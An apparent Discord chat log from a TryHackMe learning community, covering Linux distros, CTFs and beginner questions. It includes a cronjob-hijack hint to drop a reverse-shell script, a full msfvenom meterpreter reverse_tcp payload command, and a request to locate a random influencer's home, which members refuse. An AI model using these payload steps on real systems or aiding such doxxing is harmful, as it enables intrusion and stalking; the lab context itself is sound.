There it goes.
You doing this on Linux?
Tails live boot, yup
🫡 thanks 
Gave +1 Rep to @sick lance (current: #1 - 2444)
Oh you're booting it from a USB?
Yah, live boot Tails, no network connection, no hard drive. And unknown DEFCON 31 USB in the laptop too 
Was talking to Toaster, it looks to be a grub loader script. I'm checksuming the iso's, see if they've been tampered with
Nothing on surface level, was reading through the files
Even so. This laptop is JUST a live boot, for defcon, kinda laptop
yeah having disposable stuff for defcon sounds sane
What directional arrow key would we use to navigate down the manual page??
same way as people recommending having disposable phone and computer for going into china for some reason
Down
down arrow.... j key.... page down
don't do this.
oh 😦
I wasnt asking for the answer I was just making fun of the question lol
most man pages use less as a pager nowadays and that supports vim keys for navigation
@sick lance you don't, by any rare chance, have a text document full of checksums, do you?
so that is how you spell esoteric
thank God

hey guys i'm stuck here
where is
http://ip/
i have ascended
have you deployed the machine?
tried dcoder, CyberChef
went back to the ftp server and got the file again just to make sure
i'm in the machine already
wdym?
how can i explain it
No
nah it is python3 -m http.server port
from there any ip linking to your pc which would be 10.x.x.x
for tryhackme works
exactly
i hosting an http server
inside the machine there is a cronjob that exute a bash with root priv
and it don't use ip it use a domain
like mkingdom.thm
so i replaced the local host ip with mine

Python3 server for CLI.
Updog for GUI.
short and to the point
so you would then run wget http:/10.x.x.x:8000/listofdirs/file.txt to download files from it
and it's showing me that the machine is requesting a file
updog > py3
but i don't know where to place it into my machine
check the script and then from the folder you are running python3 -m http.server in make the dirs and file that it is looking for
aw nice
f
GET /app/castle/application/counter.sh HTTP/1.1" 404 -
i'm hosting the http.sever in the descktop dir
neat
and there a dir called app/castle/application with a file counter.sh in it
GET /app/castle/application/counter.sh HTTP/1.1" 404 -
file explorer too for selecting files.
I mean, I'd hope that's how you select the file lol
you can see who accesses too.
Incase you post a link in this server and more than one person clicks it.
@cosmic pendant Did checksum:
Kali: Safe
Pentoo: Unknown
Ubuntu GNURadio: Unknown
@boreal scarab check your DM 👀
Boi
That Ubuntu GNURadio screams custom, so, checking that as unsafe.
why i can't cat command a root file when i'm root
yeah in the folder where you ran the python3 -m http.server command make a nested dirs and file like this mkdir -p /app/castle/application and then touch counter.sh and finally make a rev shell command in counter.sh
and it's permission denied
i got it thanks
Gave +1 Rep to @sand trench (current: #4 - 1780)
because the suid bit is set on the cat binary
use alternatives
Nice!
why does this sound very familiar?
CORRECTION: Ubuntu GNURadio is safe, but that pentoo is still unknown
because it is the thingy for mkingdom vain
no problems
Damn, pentoo really is elusive. Can't find a sha256 of it. There is an SHA512 on distrowatch, but links to pentoo with a broken link. Download link for that version of pentoo cant be downloaded from pentoo themseleves.....
waybackmachine ?
Doubt it, but worth a shot
yoo
if i was able to find hannah montana linux .iso then you will find your ting
Nope, atleast for the official download link, only captured once in 2022, and brings you to a "GONE" page
if you get sha256 by you own, try google ti
Well good news. I got the DIGESTS from wayback machine. Bad news. I gotta sha512 the iso, not 256
All iso's appear to checkout for sha256/512. Still not touching that with a 10 foot pole, but cool nonetheless!
ye cause ima need 1 of them fr cause i got 4 bucks in my acc
well... you can do free rooms and so
kinda tryna continue the red team course
Fun fact... I've seen that used in prod
It was yours, wasn't it?
Nah 
System at uni
that's joke? right ?
Afraid not 
It was set up up by a former student when the lab was redone, presumably as a laugh lmao
what in the fresh turkey???
So, TL;DR: the main NAS for that course... Ran on Hannah Montana Linux
NetBIOS name was HANNAH as well lmfao
i ahve it in VM. you even can't update/upgrade it any more
i think is 8.4 iirc
Lab-prod?
muiri! you're blue!
I mean, it hosted all the coursework and downloadable contents, and wasn't in scope for any attacks, so I'd call it prod prod
you're blurple! *
It did live in the lab network though
idk how stupid that is, but ain't smart 🙂
Lab prod, so it's not business critical or subject to the regular audit processes 👀
Oh Lord no 
Well, business critical to that one course tbf. The lecturers would have a bad day if it went down.
Not to the overall org though.
whats better blackarch or kali
kali
why
well... at last it's ppl most choice os
hmmmmm weird problems hmmmm
it have all the tools you need for most of the time, and if you get full iso of alike 10gb you have all the tools
both are good, blackarch has more tools but tbh its useless
Agree...I mean seriously, what a huge iso file!! Bunch of unnecessary tools...only can eat your drive..that's all
indeed... you can use kali default iso. or also full install one of 10gb iso
apparently a chafa update made it require that to work in lf
blackarch is a mess with some updates and handling of some of the tooling
Why.... WHY ARE YOU USING BLACKARCH
do I add -R after rm only when I want to remove a directory?
shadow is not
they tried for a bit in a vm
Ha..ha
Pentoo!
lmfao 
that was a quick trip down memory lane
I died when installing black arch...then died the second time when trying to figure it out, then died the THIRD time when trying to use it
When you clean out recycling of 86GB worth of files. And your C drive goes from 5 GB to 19 GB.... yah, math checks out 
i got one screw extra after assembly =/
Nah, that's just your screw loose.
i hope you right...
Welp, time to try out pentoo
I installed Blackarch 4 years ago...in my old laptop...after installation my laptop never wokeup and Blackarch too...

huh apparently something is whacky with tmux and chafa sixels inside of lf
some images don't show up
no major issues
anywho, I'm gonna hop off ya'll, have fun!
have good sleepies vain
Hello Pentoo
is pentoo gentoo with pentester tools???
hello
Anyone having any idea why am getting error running hashdump?
Am I supposed to pass any argument?
is it run must be there
It tells you that you have the wrong number of arguments.
Is this for a THM room?
I understand that but argument am I supposed to pass?
Yes, don't say go discuss in room help
As I have solved the question of room
I am asking out of curiosity
Have you conducted a query utilizing your favorite search engine?
Because I found potential solutions that may answer your questions
Please share
I hate gentoo, sooooo much
Jesus, no systemctl, uses rc-service. And portage... over apt, dnf, pacman
I'm trying to get you to conduct research. I googled the exact error shown in your screenshot and information is popping up.
Alright let me google the error
Instead I googled hashdump docs
So that I could understand how it funciton
And found the link I shared above
I'll give pentoo this, it's colorful. But commands... 🤮
None of them make sense to me still
There is some github results about the same... But it seems like they are way too professional for me to understand their conversation
Hullo
Is there any chance you can summarize or help me with other resources... Am not being lazy I spent hours solving the room question and then I asked you this after I solved it because I couldn't find any good resources
Anyone else facing issues with burp browser on Ubuntu 24.04?
I'm not sure what you're looking for. From the summary reading I did, it was an error in the program, and they patched it.
But am still getting this error
Did you do msfupdate?
Also when I looked for help I got hashes
Which was the ans of the room question actually
Which is quite weird in my opinion
No... Isn't attackbox updated?
I don't know what version of metasploit they're running. It can't hurt to run it
Do you understand the purpose of hashdump?
well you can get systemd in gentoo
It's whole job is to dump hashes
I shall suffer. I can't even get lynis on it right now, it's being a pain
Pretty much yes... Its allow you to get the login info from the compromised machine
what distros do y'all use and if so why?
afternoon hackers, how is the learning going?
endeavour os
because it is more or less mainline arch with easy install in gui and an extra repo to handle nvidia drivers
Budgie.. is stable and runs my old games no problem.
windows, because it just works with what I need
I use Arch btw
nice, rn i'm running mint but i accidentally rm'd my home drive so gonna move to fedora LOL
Ayyyy let's gooo, lynis is installed. Now let's see what it ranks for pentoo
who won the google ctf yesterday?
63 lynis score on Hardened pentoo
also known as team kyootybella
Kalmarunionen is the result of a lot of CTF teams uniting - primarily Danish. We have done this as it is hard to keep the commitment when being part of a small …
Breh... there's a team called "Google only hires skids"
They're ranked 37 with only 7 flags 
Fedora KDE cause it just works
budgie FTW
nice rice
old laptops love Budgie, that along side some emulators and you have a great school laptop.
true. is rly run great in general
no sleep ?
you can do it!
i was thinking ab installing budgie onto my thinkpad actually
what are we talking ab?
do it, you wont regret it, it evens has regular updates like a popular OS.
is it stable or bleeding edge?
stable prolly ye?
based
@loud marlin get on my level
i've transitioned from win like a month ago
lol Gentoo!! youre just in that cyberpunk vibe
my dream is to be able to set up gentoo in like 6 months
when i learn how the linux system works
I do kinda love all the colors. But that's all it's got going for it
btw how do i verify myself?
ty ty
Alright. I love pentoo. Still hate how to install and update it, but it's got ghidra and Terminator on here by default. AND Yubikey manager 
/verify token
something for everyone
Excuse me, is this an update, I don't understand how to answer this question
It looks like drag and drop matching, but for help with THM content, #room-help is the best place to receive assistance
hey guys
how much knowledge should you have before playing king of the hill?
why i have this in my openvpn file
WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
Whenever you want
Im a beginner
It may not be fun in the beginning, but it will expose you to different content rather quickly.
If you're a beginner, you can go to #start-here
is there another learning path after the "Pre Security" ?
Yes, there are many
and body breaking down due to overused
at what stage would you say someone would be ready to play king of the hill
Again, whenever you want
fracker... go to sleep
I mean obviously a beginner wouldnt be able to do nor understand anything
Fight me! Pentoo looks better!
keep ly to you self
You're asking a question with no definitive answer. It depends on how fast someone learns and how someone wants to learn.
YAY new catppuccin colloid version working just perfectly
colored nano is nice yes
Very nice. Now image that but in terminal all the time when you run commands 
Like I said, you can go do it now, you probably won't win but you will gain some level of knowledge through participation.
alright
what kind of emulator are we talking about?
emulators are nice but dumping games yourself is hard and the only legal way
i can send friend requests on thm now??
Zsh, with gnome, noice
You've been able to for years.
i must be living under a rock
I honestly don't want games on my laptop haha
i dont see the friend request thing
yeah, I like GDM, that's why I run gnome 😄
Didn't you upgrade your PC?
got money too yes... waiting for kitchen remodling before buying and building
what are friends able to do
anything I can hack on and take notes, and meet all class requirements is good
I just tried to join a public game and it said " Only intermediate and advanced experienced leveled users can play King of the Hill."
when do I get that "title" of an advanced user ?
oh k
change it in your profile
well gba games should work even on very old computers no problem
T-6 minutes 
who knows the game agario 
took bella's suggestion and went with a 4070
it gonna be close
When finish Spider-man
Is that google CTF?
yeee
how long would you say someone should learn with tryhackme to be at intermediate level?
niiice
Don't know lol, been hacking a lot
Woah congrats, pretty nice score
ranking up
thankz
¯_(ツ)_/¯
Thank you very much haha, I'm glad I went with a 4070
Gave +1 Rep to @chilly veldt (current: #7 - 846)
eh gotta get your priorities in order
👀
yeah, doesn't hurt your wallet as much while still giving you a lot of power
whenever you feel comfortable
exactly haha, I love it so far
shadow is planning on going for a 7900xtx as their gpu
gotta get a compressed air blower soon so I can start cleaning my PC properly
you're on Linux as your daily driver right?
yuup yuup
I feel lost honestly I see other people using kali and some tools and I cant imagine myself doing all of that. yes, Im a beginner and I cant just understand everything right away but Im still unsure if tryhackme is actually a good resource to learn ethical hacking
get one of those cheap electric ones instead
ah, AMD would be the better option
ooh, yeah
pretty cheap at 5$ a pop
pretty big for 5$
shadow, you ever considered making your own distro
i.e a can of compressed air has limited useage time
wait...that's a leaf blower...
a handheld electric blower can blow tons more air before it breaks down
aye
yeah but usually on a lower pressure
yes considered it... not gonna do it
still works
well, leaf blower works too 
well depends on which you get
Carey uses an electric leaf blower to blow out a PC covered in years of dust!

if it works out, I'll stay on windows
can tryhackme actually teach me how to become an ethical hacker if I go all in withing 2 months?
if not I'll have to switch to linux soon
Okay wow
I'm definitely getting a leaf blower
yes but be careful of burnout if you gonna study that hard
I was joking
yeah thats what Im afraid of but at the same time I have the motivation and its not like Im forcing myself to study, Im enjoying it
I just wanna know if Im gonna see results if I just do it
you can ping me haha, you don't have to do a silent reply
for at least a month
I tend to scroll past anything that is not yellow or directly underneath my message 
oh for sure... just compare yourself after to yourself now
Just use default always
Hi there hackerz. Do we have the ability to share open source projects that we want to test out so that you can try hack them? Cause that would be aweome!
default is no ping and just reply?
depends
i guess i need to do some cpu overclock on work using cryogenic cooling system...
sometimes it does, sometimes it doesn't
What's cryogenic again
Hmm
Thought it was a movie word
you will, I am a complete noob but I still feel I learned alot, enough that I plan to take security+ test next week with all ive learned.
-200 and more c
how long have you been learning
Ive been going no stop 6 months so far for reference
would it even survive
things like liquid nitrogen
it will froze instant. i guess.
the major problem with using a computer that you put in liquid nitrogen is the problems of condensation water droplets
can you fully work with linux and use hacking tools?
learning linux good enough to use it only took shadow a month
to learn a lot more in depth took longer
I am doing the THM stuffs on ubuntu so that I learn linux too along the way
yeah I mean I know my cat, ls, whoami and how to install stuff, not going to lie when it comes to using tool on a terminal I still have cheat sheets and right now I am comfortable with Burp Suit also, so hopefully with a sec+ cert I might be knowledgable enough for a jr position.
how long have you been into cybersecurity?
yep. the issue is condensation. even if you use ammonia. you need to be inside dry enviroment and that any cooling liquid do not flow outside
so called closed system
for longer then tryhackme has existed
with the knowledge that you gained in these 6 months can you compete in king of the hill and other games on tryhackme?
well, you got me there, I haven't tried yet, I guess that is one of the next steps I need to take.
have you been consistent the whole time and made your best or was cybersecurity like your side hobby?
more like something I fell into, Im old.. from the 4chan times and sometimes tools would just fall on your lap, tools like "LOIC" but using these tool doesnt make you knoledgable, like I didnt know anything about networking so now I am hoping to make it my carreer and all I do is study.
goodluck man
What is this error?
Error: Permission denied @ rb_sysopen /home/user/THM/shell .exe
Got this when trying to generate a payload with msfvenom, (even with root permissions)
I asked chatGPT and all it says is that its a file access error in ruby..
the space at the end is the problem
i.e there should be no space between shell and .exe
The original command had no space. I got the space from the "text extractor" tool that I copied the text from.
then it might be that your user is not named user
Yes, its named my name. I replaced it with user for privacy reasons.
The exact command I used:
sudo msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.**.*** LPORT=5566 -f exe -o /home/*****/THM/rshell.exe

Hello 👋
Ello mate
Just noticed I forgor to link my account xD
no idea what that means
This is train restaurant service.
Linking this Discord Account with my Thm Acc
to where? i think i need that ride 🙂
didn't know you could do that
That looks dangerous for a train
is there any perks of doing it ?
Yummy
Hungarian EuroCity from idfk where to Hamburg.
You can post screenshots and access the vox channels
cool
Denmark?
I mean, yes, but this one rides like butter
And you get to show if ur a subscriber etc
cool
Also vanity roles
Nah, from ... Prague, maybe? I'm unable to figure out where EC172 started its journey from right now, but the comfort is something rlse.
I see
That train service is not Danish lmao
Hey, there is some path missing on THM from what Shadow has pinned here
Any idea why?
Some paths were added to THM after that message was pinned.
At least as long shadow hadn‘t had pinned yet another one.
Which path?
You know life is good when Ctftime is saying nr 1
Are you in
?
Cool
Thanks
I joined thinking it was more than a CTF team then I kinda abandoned it when I realised it was just that 😂
It's still available
Where to find it?
Oh? Fair but yeah, we do mostly CTF
Yea
It's on TryHackMe, you can utilize the search bar on the site.
Guessing you don't do much in CTF?
Is coptia pentest plus and pentest plus same?
Looks like pancakes
Nah, not really my thing 😂
yes
Yes, Pentest+ is an exam created by CompTIA
Fair fair
comptia is the organization pentest+ is the cert
I have the biggest craving for beer now kekw
Thats how its named... Got it now
For a train that sounds more than fair
Total meal with beer and goulash soup and Kaiserschmarrn ran me 20€.
I am used to paying about the same for far worse quality with Deutsche Bahn.
Oh, and the plates were served. No bistro bullshit like ICEs. 😄
Hi
Thanks for the nudge to get one, it's goooooood

shadow is too deep down the linux rabbit hole and is now mainlining window managers
the black letter on the yellow background it says spring, it's not a translation actually says spring in hebrew letter 🙂 the other line on the bottom is the flavour and says grapes
Spring Grapes
spring is the brand, grape the flavour of the drink
I know that, that's nutrition facts, I just csnt read it. And frankly don't care what it says 
the first one on the circle it says that doesn't contain any additives, the second one is nutritional info and the content that is 330 ML
Totally know what that is in freedom units lol
point 3 repeating or shadow walk
9.5, 2.5 and all the other are in grams
The can kinda reminds me of fanta
That I understand. Thanks 
Gave +1 Rep to @blazing granite (current: #73 - 86)
Standard can size
~12oz
330 ML IDK what is that on oz
fluid ounces or none fluid ounces???
Yeah, it's ~12oz
bit shy, closer to 11.5
That's why I used ~
330 milliliters ≈ 11.15862749 fl_oz
Also rounding lol
12 oz is 355 ml
US or UK?
roughly a half pint
¯_(ツ)_/¯
(they aren't the same)
It's 100ml less than a pint
Welp, train is delayed, we are waiting on an ambulance
imperial pint is 20 oz
what the f-- is a kilometer?! HWAAAAAK 🦅 🇺🇸
oh noes did someone cross over to the other side???
Pint here is 473ml lol
something that regular people use to measure distance 😂
accident?
Oh no!
Idk, we just had it announced
No, someone sitting in the train
@blazing granite very... watery? But also quite grapy. It doesn't sit on your tongue, so the flavor is when you take the sip
I've seen in in the supermarket but I never taste it, I don't drink those kind of things, I only drink, water, natural juices and alcohol, none of that sh*te
Well, this isn't really what we would classify as soda. This is more watered down juice?
It's so hard to describe
....
cross over to the other side == dead
flavour water or something like that
If you setup different DNS on your router's LAN connection, then yes. If not, it uses your router's IP as it's DNS
Yes
@nimble timber i got it nice trick for the root 😉
I have a PiHole, so on my router's UI in LAN, I have my PiHole's IP and Quad9 as backup. But you can also specify what DNS you want to use, either in windows or linux
and without changing basically any router config for dns the router uses your isp:s dns server most of the time
Yes. If you specified another one in your router's UI, on windows, or linux

Better question is why do you think it might be D?
What do YOU think it is?

If your PC knows nothing, it will need an IP and also DNS and other things
It can't get a DNS address from a DNS because well it doesn't know where to find one
So it would have to get that info from DHCP
or have you manually asign it
Exactly. The question tells him anything he need.

You work for (if you r not cheating on thm server ^^ ) so you deserve it
I never did it myself so I can't help with the exam specifics, but the theory I believe I've got a fair grasp of
No. I was jokin' . It has nothing to do with you or your level.
I hunt certs as well cuz i have no degree or something like that.
In all fairness progressing at THM is fairly easy so don't be disheartened
Thats even worth a beer 😂👍
(Rank 3 to 4 is like one hard challenge and an easy)
I remember the days when you could get 0xD in a couple of days with minimal effort.
That's literally how long it took me back when there were only 70 odd rooms 
If that
"Top 1% THM" still is the best brag

You seen the buzz light-year meme of that? 
No
Will try to find it for ya
There's a better one than this
Same format though
HAHAHAHAHA
That's the one 
HAHAHAHAHA 😂 😂 😂 😂 😂
Yes we all heros cuz of nmapping nasa but the girl don't care 🤣
AMAZING

Lotta props to THM otherwise, but the ranking system isn't the most relevant in the world 
Agreed
I was motivated... until now.
@royal gazelle Hey, coming to Defcon this year?
If they allowed you to sort the ladders by "points/rooms" it would be more relevant
Honestly, I literally see that as a red flag on a CV, unless it's an intern or someone applying for a very junior role.
Like, if that's your frame of reference for things to make you stand out, then that tells me something about whether your finger is on the pulse...
There are people in the top-50 list with 200 fewer rooms solved than the number 1
Or something along those lines
But IMHO that's more impressive because "points per room" is higher then
That and there's a tonne of bots + users who never actually do anything
Or, were, once upon a time. Dunno if that's still the case
Yeah.. THM is a great platform for beginners but I would frown if I saw it mentioned as something that made the person stand out
I'd say look at the forum, but they nuked that a while back. Used to be chockablock with spam comments
These days if you wanna express yourself you gotta do it with your annual activity heatmap
Because they can claim to be top X % in the world and get a job
Or they hope to be able to..
I think THM made a small change that means in order to count to the % you have to have solved at least X rooms (to prevent against bots)
Not sure how much of a dent that made
You need 100 points IIRC
Noooo. I would fall back to 10000 🤣🤣
Or wait, to get a pct? Yeah dunno, but more than that
Exactly. If I saw an incoming intern or a graduate going for a junior tester position, with a list of their THM completed learning paths in their extra curricular section, I would be delighted. Gives me something to talk to them about in an interview.
Gets significantly less relevant when you have actual experience.
Muiri which of your Chinese New Year boxes should I do first?
Anything but Rabbit. That one is just embarrassing
Pentoo... the only damn OS that you need to setup a python virtual environment to use pip... 
Jellyfish is the best imo, probably followed by Dog, then Pig
good tbh
Yeah, it's CTFy bullshit from before I knew what the difference was 
No. It's a great platform and idc bout rankings but there a companys out there where you can say "I do try hack me" cuz the know its great for fundamentals.
Staying clear of that....... 😂
I do like it, but it is a bit tedious
Yeaaaaaap. Fox isn't much better. That's a sadistic one
Pig is getting there, Dog I actually still kinda like, and Jellyfish is okay (imo)
@shut hawk (Explicit Language)
mkingdom was juuuuust enough CTFy for me... More than that and it just becomes a bother for the sake of pranking the user
I've not released any of the new ones publicly though 😦
LOL
Yeah, uh, try Fox if you're in the mood to be annoyed
I will call you up on discord and yell at you most likely

I've got an ancient cherry tree doc with the plans for that...
tbf I wouldn't last 5 minutes LOL
have you not migrated everythign to trilium?
Just like Waltzer from HTB... "GUESS THE ALGORITHM x3" crap
Yeaaaaaaaap, can't dispute that 
Glad to say I've grown up since then.
My latest challenges have all been internal for work, but they are lethal in comparison
Are u from europe?
My main notebook, yes. I still keep projects in cherry tree docs though
You should make an Insane++ box for THM
So my knowledge base is trilium, but pentests, CTFs, dev work, etc, are cherry tree
Tempting... jayy, remind us, how far through did you get with my Gauntlet?
After that skull crushing windows issue? 😂
I only got initial access to the first stage, didn't go further
I like to keep things compartmentalised. My main notebook is way too big to fit in a cherry tree file now -- that's the only reason it's different. I just really dislike mixing things together.
Got ya, understandable
Unfortunately i got no room for you but u remind me of my tasks
For reference @shadow loom, I built Gauntlet about three years ago. It's a pivoting challenge, primarily. A docker network with 6 layers in it, each harder than the last (following the video game Gauntlet Boss format), but actually using realistic movements and LPEs
It's funny, I still remember the exact exploit - when I was developing my own program with that lib, my brain immediately went back to it 🤣
No one has every got past the initial access to the first container.
And only about three people have got that far, Jayy being one of them
SQL injection leading to abuse of PL/SQL stored procedures to enable a test instance of an API which leads to RCE as an unpriv user in Windows with Defender for Endpoint enabled and fully patched and then some easy to locate but hard to pull off obscure privesc
@pallid lotus
... We've brought it back for three consecutive years at the conference 
Oooh fun!
I love and hate it 😆
Is this a concept or something that's been made? 
PWK for me
Same for me ^
I'm looking forward to the exploit development room, ive gotten most of the way there, its just the last part i need help with
But I never got further than stack based BOFs
Dooooo iiiiiitttttttt 
My life was too short, I thought to my self
That one actually sounds fun, although you'd struggle to get MDE on a CTF box 
True
Could do like a parrot that echo's stuff back to you and somehow abuse it to echo bad stuff
Aight, Noah bedtime... Back in a bit
What, like an LLM test?
...yeah I just realised that is exactly what it sounds like LOL
Done way too many of those recently
my condolences
You need to train your own LLM for us to hack
It'll be fun
Maybe slightly expensive...
BUT FUN
good night
well ollama should be installable on vm:s and can probably ship on a tryhackme target machine
dunno how you would exploit it though
Wanna bet? I'd love to see it run on half a gig of ram ..
well think there are some of the super tiny llm:s that are installable through the ollama tool which could run on a raspberry pi at this point
so sure can take that bet
what do you wanna bet for it???
Well that I need to look into
might not run fast or very well but would assume they can run
That said, are we talking a Pi 0 or a Pi 5 with 8Gb RAM
was thinking pi 4 with 4 gb ram
Finally at my train station 27 minutes late
Which is 8x the resources of a free tier THM box...
yeah fair.... not to much insight into the exact system specs of a thm box
t2.nano free, t2.micro sub, unless that's changed
better late than never 😂
also if shadow recalls correctly during advent of cyber 2023 there was a "chatbot" that we got to hack
not a very good one
there was, it wasn't an language model though
¯_(ツ)_/¯
guess shadow can claim that muiri beat the bet
so here is a cooctus for muiri

@chilly veldt Soooooo. Whatcha win?
yes it is possible.... though no idea how hard it would be and what would be required to get there
Google CTF
Well I know that, I meant the prize. If any?
A trip to Malaga to play finals
bella getting a job at google after winning google ctf???
No
For your whole team?? That's a lot of people
Thankz, there's also a prize for winning quals, but that's the team
No as in, it's not an option, or no, you wont even think about the offer?
No as in, I ain't applying
Ahhh
4 people, but the team is paying for multiple others
yes and they are not the only huge corpo doing it
Yes, they do, they have a beginnersquest, yearly CTF and hackceler8 and also v8ctf
V8ctf is a 0day CTF on their browser engine
Have a look, it's not b2r challenges like you're used to on thm
https://capturetheflag.withgoogle.com/beginners-quest
Ahh I see
Jeopardy themed
Only 4 players allowed to be onsite, but we plan on going there as the team cause we didn't qualify for Defcon this year
Damn thats so cool
To all the Scandanavians, Skål!
Hackceler8? Yes, if you click the back button on beginners quest site I sent, and press "hackceler8" there's videos from last year's competition
Hackceler8 is the CTF finals that google has made, it's a game hacking finals that runs in a football tournament style, with 8 teams playing some qualification rounds, then its bracket style
you drinking on a sunday??? shame on you shame on you

Yes, good soup
hi guys, why my laptop internet is being slowly even the internet was like before, what should i do to let it become faster?
There's an infinite number of reasons as to why your Wi-Fi is slow. First step would be to run a speed test, every hour or so, and track the numbers over a couple of days.
That actually makes me think about making some food too rn
and if you are very special and lucky you will figure out that the wifi does not work on tuesdays
was gonna reply with the show's number but all i can remember is 867 5309
0118, 999, 881, 999, 119, 725...3.
thank you, but when i use google ,the internet is slower, and also when i turn VPN on it shows in icon load line is 100 and it wasn't like that before
Gave +1 Rep to @clear jackal (current: #17 - 413)
If you're using a VPN, the internet is going to be slower
yeah but even when i don't use it, it takes a lot of time to load a page in google even the internet is not bad at home and this problem wasn't before
tommy tutone wants his number back
maybe the problem could be from the settings of the router?
if you don't actually take steps, at the minimum, to get some metrics, no amount of random troubleshooting will help solve your problem
saying "it's slow not but wasn't before" is not taking steps to actually figure anything out
yeah but the problem is i don't really understand in using laptop, so i don't have the expert to solve anything,
Then take it to a local computer shop and let them figure it out for you.
Asking for help from strangers on the internet who don't have access to the machine isn't going to help hugely -- especially if you don't have the underlying knowledge to carry out their suggestions or understand the resulting output.
There are hundreds of things that could cause a slow network connection. We can suggest likely culprits, but we can't do anything about it -- that's something that you would need to be able to do.
meep moop time for the sweet sweet sleep sloop to the beep boop
ah that is right and thank youuuu

Khaled you know what
I ve been doing a bit of hardware lately
I will help you out, dm me
this is not the right place to ask
but yk, jacked brothers gotta stay strong together
hey anyone got a recomendation for a vuln scanner?
But I can't find it
i think theres a website
that creates a fake report
For?
Probably east of the Brooklyn park
Osint exercise
For school or work?
do you have any recomendations in vulnerability scanners?
For nothing I want to do it
sorry to bother lol
For what
dude
in what fucking around situation do you need to know the location of a building
are you playing a game of trivia? like thats so specific
You're going to need to do some research and make a decision based on your needs. I use paid products that individuals cannot afford, so my recommendations would be useless.
can i dm you?
im trying cariddi but it gives so many false positives
I picked a random influencer and I'm trying to see if I can find where he lives
No, the conversation can stay here
thats
And it's close to this building
Nope
Can’t help with that
geez
if you really want to do it, just google it
or keep it to yourself
dont publicly discuss a crime
One it’s weird to begin with
One it's not a crime two how do I exercise these things
any free ones recomendation?
like, web vuln scannner
Guess you were born with inherent knowledge then
what
Uh huh
Like I said, you're going to need to do your own research and make a decision based on your needs. I don't have any recommendations.
Aight this is useless bye
Bye ✌️
do you know cariddi?
No
@crude stump do you have any recomendations?
Nah sorry
😦
YouTube prolly has recommendations
Say
Yes but say best web vuln scanner/ review
lmao
On discord I mean
yeah ikik
Feel free to dm tho
You're likely going to struggle as a lot of the licenses for free solutions prohibit commercial work.
Jesus, I won't call out the discord. But damn people are dicks
are u red team or blue team
eh
You're using this for bounty I'm assuming? You're earning money, so you're going to need to look at the licenses closely.
they dont have to know its for comercial use
I ask a question, get more insight into something: "Well did you check X or X" Like. This is discord, for discussion, don't shoo me off....
yeah
"google it"
like ong i already tried
That would be potentially unlawful and definitely unethical
okay boy scout
You open yourself to penalties in the bug bounty program you're using, and potential liability from the company that makes the scanner. Or even prosecution, if the bug bounty program pulls your authorization and you test without compliance to the scope.
Good question, job is not sec related. But I would say more Red/ Purple team. I find OSINT very fun, so that's my focus
do you have any recomendation for tools?
web vuln scanners?
yeah ik
but im using it for free bug bounties
ones that dont pay
so its not commercial
that does not mean you are allowed to violate the terms of the program.
dude i havent even found the tool
dont know the terms
please, let me be
I’m not trying to be a party pooper but doesn’t a web vuln scanner take the fun out of finding the vulnerabilities yourself?
yeah
but i would like a jump start
Not my area of expertise. Only tools I use for OSINT is Google, Google dorking, and some go to sites for finding further info with specific data I have
if anyone has a recomendation go right ahead please
do you have any recomendation though?
For OSINT?
web vuln scanner
Not my area of expertise, so nope
Please follow the rules of the discord. You are coming close to rule #4 by basically telling us that you plan to do whatever you want, without regard to the ethics or licensing limits of tools.
LMAO
okay dude
